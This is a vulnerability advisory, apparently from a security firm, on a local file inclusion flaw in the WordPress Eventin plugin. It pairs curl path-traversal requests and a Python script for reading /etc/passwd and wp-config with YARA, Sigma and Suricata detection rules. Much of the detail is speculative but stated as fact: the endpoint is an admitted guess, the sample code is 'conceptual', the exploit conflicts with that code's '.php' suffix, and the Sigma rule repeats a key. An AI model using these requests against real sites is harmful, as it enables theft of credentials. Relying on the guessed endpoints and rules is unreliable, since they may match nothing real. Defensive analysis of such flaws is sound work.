CVE-2025-39584

Executive Summary

CVE-2025-39584 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the WordPress plugin Eventin (formerly known as wp-event-solution) by Arraytics/Themewinter. This vulnerability allows an unauthenticated attacker to include arbitrary local files from the server, potentially leading to sensitive information disclosure (e.g., reading /etc/passwd, wp-config.php). The flaw resides in improper control of a filename used in a PHP include/require statement, specifically a PHP Remote File Inclusion (RFI) vector that is exploited for LFI due to the server's configuration. The vulnerability affects all versions up to and including 4.0.25. No patch has been publicly released as of this analysis.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Users are advised to monitor the plugin's changelog and update immediately once a patched version is released. The lack of a patch increases the risk of supply chain attacks where compromised plugin updates could be used to distribute malicious code.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The high confidentiality impact combined with no authentication requirements makes this a severe threat for any WordPress site running the vulnerable plugin.

Deep Dive & Mechanics

The vulnerability is a PHP Local File Inclusion (LFI) stemming from improper sanitization of a filename parameter used in a PHP include() or require() statement. The plugin likely accepts user-supplied input (e.g., via a shortcode, AJAX handler, or query parameter) to dynamically include template files or other resources. An attacker can manipulate this parameter to include arbitrary files from the server's filesystem.

Root Cause: The plugin fails to validate or sanitize the filename parameter, allowing path traversal sequences (e.g., ../../) to escape the intended directory. Additionally, the vulnerability is classified as "PHP Remote File Inclusion" in the original description, but due to allow_url_include being typically disabled, it manifests as LFI.

Attack Flow:

1. Attacker identifies a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=eventin_load_template&template=../../../../etc/passwd).
2. The plugin passes the unsanitized template parameter to a PHP include() statement.
3. The server includes the specified file, outputting its contents in the HTTP response.
4. Attacker reads sensitive files like wp-config.php (database credentials), /etc/passwd, or other PHP files to extract source code.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In a vulnerable version of Eventin
function eventin_load_template() {
    $template = $_GET['template'];
    include( plugin_dir_path( __FILE__ ) . 'templates/' . $template . '.php' );
}
add_action('wp_ajax_nopriv_eventin_load_template', 'eventin_load_template');

Patched Code (Expected):

// Patched version should implement strict validation
function eventin_load_template() {
    $allowed_templates = array('single', 'list', 'grid');
    $template = sanitize_file_name( $_GET['template'] );
    $template = basename( $template ); // Remove path traversal
    if ( in_array( $template, $allowed_templates ) ) {
        include( plugin_dir_path( __FILE__ ) . 'templates/' . $template . '.php' );
    } else {
        wp_die('Invalid template');
    }
}

The patch must whitelist allowed template names and strip path traversal characters.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with Eventin <= 4.0.25 installed and activated.
• Knowledge of the vulnerable endpoint (e.g., admin-ajax.php action).

Exploitation Steps:

1. Identify the vulnerable parameter (likely template or file).
2. Craft a request to read /etc/passwd:

   curl -k "https://target.com/wp-admin/admin-ajax.php?action=eventin_load_template&template=../../../../etc/passwd"
   

3. If successful, the response will contain the contents of /etc/passwd.
4. To read wp-config.php:

   curl -k "https://target.com/wp-admin/admin-ajax.php?action=eventin_load_template&template=../../../../wp-config"
   

   (Note: The .php extension may be appended automatically.)

Automated Exploit (Python):

import requests

target = "https://target.com"
payload = "../../../../etc/passwd"
url = f"{target}/wp-admin/admin-ajax.php?action=eventin_load_template&template={payload}"
response = requests.get(url)
if "root:" in response.text:
    print("[+] LFI successful!")
    print(response.text)
else:
    print("[-] Exploit failed.")

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious admin-ajax.php requests with template parameters containing ../ or /etc/.
• Deploy WAF rules to block path traversal patterns.

Honeypot:

• Create a fake wp-config.php file with a unique string to detect inclusion attempts.

Mitigation:

• Disable the plugin until a patch is available.
• Implement virtual patching via WAF.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-admin/admin-ajax.php with action=eventin_load_template and template parameter containing ../ or absolute paths.
  • Outbound connections from the server to attacker-controlled IPs (if RFI is possible).

• File System IOCs:

  • Unexpected inclusion of sensitive files in web server logs.
  • Modified plugin files (if attacker uploads a webshell).

• Log Entries:

  • Apache/Nginx access logs showing admin-ajax.php?action=eventin_load_template&template=../../../../etc/passwd.

Detection Engineering

YARA Rule

rule Detect_Eventin_LFI_Exploit {
    meta:
        description = "Detects HTTP requests exploiting CVE-2025-39584 Eventin LFI"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-39584"
    strings:
        $action = "action=eventin_load_template"
        $path_traversal = "../"
        $etc_passwd = "/etc/passwd"
        $wp_config = "/wp-config"
    condition:
        $action and ($path_traversal or $etc_passwd or $wp_config)
}

Sigma Rule

title: Eventin Plugin LFI Exploitation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit CVE-2025-39584 in WordPress Eventin plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'action=eventin_load_template'
        cs-uri-query|contains: 
            - '../'
            - '/etc/passwd'
            - '/wp-config'
    condition: selection
falsepositives:
    - Legitimate use of template names with similar patterns (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-39584 Eventin LFI Exploit"; flow:to_server,established; content:"GET"; http_method; content:"admin-ajax.php"; http_uri; content:"action=eventin_load_template"; http_uri; content:"../"; http_uri; distance:0; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Eventin plugin until a patched version is released.
2. Virtual Patching: Deploy WAF rules to block requests containing action=eventin_load_template with path traversal sequences.
3. File Permissions: Ensure wp-config.php is not readable by the web server user (chmod 600).
4. Monitoring: Enable detailed logging for admin-ajax.php and review for suspicious activity.
5. Update: Monitor the plugin's official page for a security update and apply it immediately.
6. Alternative: Consider replacing the plugin with a similar, actively maintained alternative.

Valters IT
Securing Digital Frontiers